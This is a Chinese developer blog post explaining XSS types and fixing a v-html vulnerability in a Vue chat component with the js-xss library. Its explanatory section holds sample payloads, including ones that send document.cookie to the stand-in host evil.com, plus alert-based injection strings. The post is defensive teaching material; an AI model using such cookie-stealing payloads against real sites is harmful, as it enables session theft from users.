🛡️ Vue项目XSS攻击防护指南:从漏洞发现到js-xss完美解决

前言

​ 最近我在开发项目的时候遇到了xss问题,起因是一个气泡生成的小功能用的是vfor+v-html的方式渲染.结果被漏洞扫描检测出具有xss风险,这篇文章将介绍什么是xss,以及如何在项目中处理.

XSS是什么?

​ 说白了,XSS(Cross-Site Scripting,跨站脚本攻击)就是坏人想办法在你的网页里塞进去一些恶意的JavaScript代码。当用户打开页面时,这些代码就会偷偷执行,可能会偷取用户的cookie、session,或者做一些更坏的事情。

​ 举个简单的例子,假如你有一个评论功能,正常用户会输入:"这个功能很棒!",但是恶意用户可能会输入:

html 复制代码
<script>alert('你被攻击了!')</script>

​ 如果你直接把这段内容渲染到页面上(比如用v-html),那么用户一打开页面就会弹出一个警告框。这只是最简单的例子,实际上攻击者可能会:

  • 偷取用户的登录信息
  • 重定向到钓鱼网站
  • 修改页面内容
  • 发起CSRF攻击

​ 最容易中招的就是两个地方:

  1. 用户输入的内容:评论、搜索框、表单等
  2. URL参数:有些同学喜欢直接从URL里取参数显示在页面上

​ XSS主要分为三种类型:

  • 存储型XSS:恶意代码存在数据库里,每次用户访问都会执行
javascript 复制代码
// 用户在评论框输入恶意代码,存储到数据库
const maliciousComment = `<img src="x" onerror="
  // 偷取用户cookie发送到攻击者服务器
  fetch('http://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie})
  });
">`
  • 反射型XSS:恶意代码在URL参数里,点击恶意链接就中招
javascript 复制代码
// URL: https://yoursite.com/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// 如果页面直接显示搜索参数,就会执行恶意代码
const searchParam = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `搜索结果: ${searchParam}`;
  • DOM型XSS:前端JavaScript处理不当,直接操作DOM导致的
javascript 复制代码
// 危险的DOM操作
function updateContent() {
  const userInput = document.getElementById('input').value;
  // 直接插入HTML,容易被攻击
  document.getElementById('content').innerHTML = userInput;
}
// 用户输入: <img src="x" onerror="alert('XSS攻击!')">
// 就会执行恶意代码

场景复现

​ 而我遇到的问题,就是DOM型XSS,由于没有过滤和处理文本,直接渲染上去导致的.

效果就类似下面这样

测试代码如下

vue 复制代码
<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import './styles/app.css'

const inputValue = ref('')
const chatMessages = ref([])
const chatContainer = ref(null)

// 发送消息函数
const sendMessage = () => {
  if (!inputValue.value.trim()) {
    ElMessage.warning('请输入内容')
    return
  }
  
  // 添加消息到聊天记录
  const newMessage = {
    id: Date.now(),
    content: inputValue.value,
    timestamp: new Date().toLocaleTimeString()
  }
  chatMessages.value.push(newMessage)
  // 清空输入框
  inputValue.value = ''
}

// 清空聊天记录
const clearChat = () => {
  chatMessages.value = []
  ElMessage.success('聊天记录已清空')
}

// 处理回车发送
const handleKeydown = (event) => {
  if (event.key === 'Enter' && !event.shiftKey) {
    event.preventDefault()
    sendMessage()
  }
}
</script>

<template>
  <div class="container">
    <el-card class="chat-card">
      <template #header>
        <div class="card-header">
          <span>聊天界面</span>
          <div>
            <el-button type="danger" size="small" @click="clearChat" v-if="chatMessages.length > 0">
              清空记录
            </el-button>
          </div>
        </div>
      </template>
      
      <!-- 聊天消息显示区域 -->
      <div class="chat-container" ref="chatContainer">
        <div v-if="chatMessages.length === 0" class="empty-chat">
          <el-empty description="暂无聊天记录,开始发送消息吧!" />
        </div>
        <div 
          v-for="message in chatMessages" 
          :key="message.id" 
          class="chat-message">
          <div class="message-info">
            <span class="message-time">{{ message.timestamp }}</span>
          </div>
          <div class="message-content" v-html="message.content"></div>
        </div>
      </div>
      <!-- 输入区域 -->
      <div class="chat-input-area">
        <div class="input-container">
          <el-input
            v-model="inputValue"
            type="textarea"
            :rows="3"
            placeholder="输入消息内容... (按Enter发送,Shift+Enter换行)"
            @keydown="handleKeydown"
            class="message-input"
          />
          <el-button 
            type="primary" 
            @click="sendMessage"
            :disabled="!inputValue.trim()"
            class="send-button">
            发送
          </el-button>
        </div>
      </div>
    </el-card>
  </div>
</template>

代码中我用v-html去插入内容, 然后导致执行了这个payload:<iframe src=javascript:alert('xxx')>

解决方案

常规的处理方式

​ 面对XSS问题,很多人的第一反应是自己写个函数过滤一下,像下面这样

javascript 复制代码
// 很多人会这样写
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  }
  return text.replace(/[&<>"']/g, m => map[m])
}

​ 或者使用正则表达式去掉危险标签:

javascript 复制代码
function removeScripts(html) {
  return html
    .replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
    .replace(/javascript:/gi, '')
    .replace(/on\w+\s*=/gi, '')
}

​ 但是这样做有几个问题:

  1. 攻击手段太多了<script><iframe><img onerror>javascript:data:text/html等等,防不胜防
  2. 容易误杀:可能会把正常的内容也给过滤掉
  3. 维护成本高:新的攻击方式出现后,你得手动更新过滤规则

总之,自己处理太麻烦了,建议是直接引入第三方库处理

主流的XSS防护库推荐

1. js-xss (推荐)

​ 最受欢迎的JavaScript XSS过滤库,支持自定义规则:

bash 复制代码
npm install xss

2. DOMPurify

​ 专门用于清理DOM的库,在浏览器环境表现优秀:

bash 复制代码
npm install dompurify
javascript 复制代码
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize('<script>alert("xss")</script><p>Clean me</p>')

3. sanitize-html

​ 功能强大的HTML清理库,配置选项丰富:

bash 复制代码
npm install sanitize-html
javascript 复制代码
import sanitizeHtml from 'sanitize-html'
const clean = sanitizeHtml('<script>alert("xss")</script><p>Keep me</p>')

下面我选择使用xss这个库解决这个问题

安装js-xss库

文档地址:js-xss/README.zh.md at master · leizongmin/js-xss

bash 复制代码
npm install xss
# 或者
yarn add xss

基本使用

​ js-xss的语法非常简单,核心就是一个xss()函数,但功能很强大。

最简单的用法

javascript 复制代码
import xss from 'xss'
// 基本用法:直接过滤
console.log('处理前','payload:<iframe src=javascript:alert("xxx")></iframe>')
console.log('处理后',xss("payload:<iframe src=javascript:alert('xxx')></iframe>"))

常见的攻击代码过滤效果

​ 来看看js-xss对各种攻击手段的处理效果:

javascript 复制代码
import xss from 'xss'

// 1. script标签 - 直接移除
console.log(xss('<script>alert("攻击")</script>'))
// 输出: (空字符串)

// 2. iframe攻击 - 过滤危险属性
console.log(xss('<iframe src="javascript:alert(1)"></iframe>'))
// 输出: <iframe src></iframe>

// 3. img标签onerror - 移除事件属性
console.log(xss('<img src="x" onerror="alert(1)">'))
// 输出: <img src="x">

// 4. a标签javascript伪协议 - 过滤危险链接
console.log(xss('<a href="javascript:alert(1)">点击</a>'))
// 输出: <a href>点击</a>

// 5. 保留安全内容
console.log(xss('<p class="text">安全的段落</p><strong>粗体文字</strong>'))
// 输出: <p>安全的段落</p><strong>粗体文字</strong>

打印结果:

自定义配置选项

​ js-xss支持丰富的配置选项,可以根据业务需求调整:

javascript 复制代码
import xss, { getDefaultWhiteList } from 'xss'

// 获取默认白名单
const defaultWhiteList = getDefaultWhiteList()
console.log(defaultWhiteList)
// 输出所有默认允许的标签和属性

// 自定义配置
const options = {
  // 白名单配置
  whiteList: {
    // 继承默认白名单
    ...getDefaultWhiteList(),
    // 添加自定义标签
    'my-custom': ['class', 'data-*'],
    // 修改已有标签的允许属性
    'div': ['class', 'style', 'data-*'],
    // 完全自定义某个标签
    'span': ['class', 'style']
  },
  
  // 过滤配置
  stripIgnoreTag: true,           // 过滤不在白名单的标签
  stripIgnoreTagBody: ['script'], // 过滤指定标签及其内容
  allowCommentTag: false,         // 是否允许HTML注释
  
  // 自定义过滤函数
  onIgnoreTag: function (tag, html, options) {
    // 对不在白名单的标签进行自定义处理
    if (tag === 'mytag') {
      return '[自定义标签被过滤]'
    }
  },
  
  onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) {
    // 对不在白名单的属性进行自定义处理
    if (name === 'data-custom') {
      return name + '="' + xss.escapeAttrValue(value) + '"'
    }
  },
  
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    // 对所有属性进行自定义处理
    if (tag === 'img' && name === 'src' && !value.startsWith('http')) {
      return '' // 只允许http开头的图片
    }
  }
}

const safeHtml = xss('<div data-custom="test">内容</div>', options)

常用的预设配置

​ 针对不同场景,这里提供几个常用的配置模板:

javascript 复制代码
// 1. 严格模式 - 只允许最基本的文本标签
const strictOptions = {
  whiteList: {
    'p': [],
    'br': [],
    'strong': [],
    'em': [],
    'span': []
  },
  stripIgnoreTag: true,
  stripIgnoreTagBody: ['script', 'style']
}

// 2. 富文本模式 - 允许常见的富文本标签
const richTextOptions = {
  whiteList: {
    ...getDefaultWhiteList(),
    'h1': [], 'h2': [], 'h3': [], 'h4': [], 'h5': [], 'h6': [],
    'blockquote': [], 'code': [], 'pre': [],
    'table': [], 'thead': [], 'tbody': [], 'tr': [], 'td': [], 'th': [],
    'ol': [], 'ul': [], 'li': []
  }
}

// 3. 评论模式 - 允许链接和简单格式
const commentOptions = {
  whiteList: {
    'p': [], 'br': [], 'strong': [], 'em': [],
    'a': ['href', 'title'], 'blockquote': []
  },
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    if (tag === 'a' && name === 'href') {
      // 只允许http/https链接
      if (!/^https?:\/\//.test(value)) {
        return ''
      }
    }
  }
}

实际使用例子

​ 用``来测试一下

javascript 复制代码
import xss from 'xss'

const maliciousInput = "payload:<iframe src=javascript:alert('xxx')></iframe>"
const safeOutput = xss(maliciousInput)
console.log('处理前:', maliciousInput)
console.log('处理后:', safeOutput)

可以看到,js-xss很智能地保留了iframe标签结构,但移除了危险的javascript:协议,这样既保证了安全又不会完全破坏内容结构。

在Vue中的实际应用

​ 回到我们前面的例子,只需要稍微改动一下:

vue 复制代码
<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import xss from 'xss'

// ... 其他代码保持不变

// 发送消息函数
const sendMessage = () => {
  if (!inputValue.value.trim()) {
    ElMessage.warning('请输入内容')
    return
  }
  
  const newMessage = {
    id: Date.now(),
    // 关键改动:使用xss过滤内容
    content: xss(inputValue.value),
    timestamp: new Date().toLocaleTimeString()
  }
  chatMessages.value.push(newMessage)
  inputValue.value = ''
}
</script>

<template>
  <!-- 模板部分不用改,还是用v-html -->
  <div class="message-content" v-html="message.content"></div>
</template>

修改之后可以看到, 我们输入xss攻击的代码, 它也不会再弹出弹窗了

自定义过滤规则

​ 有时候默认的过滤规则可能太严格,比如你想保留一些特定的标签,可以这样配置:

javascript 复制代码
import xss, { getDefaultWhiteList } from 'xss'

// 自定义配置
const options = {
  whiteList: {
    ...getDefaultWhiteList(),
    // 允许iframe标签,但限制src属性
    iframe: ['src', 'width', 'height'],
    // 允许自定义属性
    div: ['class', 'data-*']
  },
  // 过滤掉不在白名单中的标签时的处理方式
  stripIgnoreTag: true,
  // 过滤掉不在白名单中的属性时的处理方式  
  stripIgnoreTagBody: ['script']
}

const safeHtml = xss('<div class="test">安全内容</div><script>alert(1)</script>', options)

效果如下

结尾

​ 其实xss这个问题最早是我使用wangEdit的时候,里面有一个网络图片的插入,当时被扫描出来漏洞,然后在在其它功能上面也有,才去了解的.这篇文章也是分享了一下,如何解决这种问题,以及开发中如何避免,其实可以直接编写一个全局过滤器,不过Vue3已经没有过滤器了,可以用全局方法代替.遇到有可能出现xss问题的地方就直接调用处理,这样会更方便.

相关推荐
崔庆才丨静觅8 小时前
hCaptcha 验证码图像识别 API 对接教程
前端
passerby60618 小时前
完成前端时间处理的另一块版图
前端·github·web components
掘了9 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
崔庆才丨静觅9 小时前
实用免费的 Short URL 短链接 API 对接说明
前端
崔庆才丨静觅9 小时前
5分钟快速搭建 AI 平台并用它赚钱!
前端
崔庆才丨静觅9 小时前
比官方便宜一半以上!Midjourney API 申请及使用
前端
Moment9 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
崔庆才丨静觅10 小时前
刷屏全网的“nano-banana”API接入指南!0.1元/张量产高清创意图,开发者必藏
前端
剪刀石头布啊10 小时前
jwt介绍
前端
爱敲代码的小鱼10 小时前
AJAX(异步交互的技术来实现从服务端中获取数据):
前端·javascript·ajax